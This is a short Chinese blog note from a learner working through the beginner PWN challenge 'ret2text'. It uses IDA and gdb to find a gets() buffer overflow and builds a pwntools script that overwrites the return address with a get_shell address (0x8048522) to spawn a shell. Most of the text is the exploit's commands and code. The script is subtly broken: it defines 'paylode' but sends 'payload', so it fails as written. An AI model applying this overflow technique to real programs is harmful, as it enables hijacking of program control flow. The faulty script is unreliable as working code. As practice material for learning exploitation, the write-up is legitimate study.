最近学习了B站上的有关PWN的入门视频课,简单写点笔记,学习一下叭
先上下学习链接,大佬讲的很细致,多听两遍总没坏处。
首先先把 ret2text放在IDA中F5一下,反汇编内容如下
前两行不用管,点击vulnerable看下有什么
有buf数组,很有可能是缓冲区溢出的题目
然后还看到左侧有个get_shell文件
所以,shell一定就在这里面了,我们的目标就是让gets后的buffer溢出,溢出到return部分,将return的地址改为get_shell的地址!
先通过gdb动态看下ebp等的地址:
在存放有ret2text的文件中输入
gdb ret2text
b main #在main函数处设置断点
run #运行
n #一直输入到有vulnerable的位置
然后按 s
之后按 n 回车后输入
AAAAAAAA (八个垃圾数据)
然后输入 stack 24
结果如上图,就会发现eax处是存放着我们刚刚输入的buffer中的数据(四字节),我们要将数据填充到ebp的位置,即0xffffd138处,而后还要继续填充到ebp的下一个位置,即往高一个(返回地址)因此再加 4B
而ebp和edx中间的相差 可以通过:
实现,当然这个题比较简单,直接可以是16+4个字节填充。
然后再加上需要执行的get_shell的地址:
即0x8048522
所以核心代码:
payload = b'a'*(16+4) + p32(0x8048522)
具体代码可以写个小脚本:
from pwn import*
io = process('./ret2text')
paylode = b'a'*(16+4) + p32(0x8048522)
io.sendline(payload)
io.interactive()
执行结果如下:
通过ls就发现获得了shell权限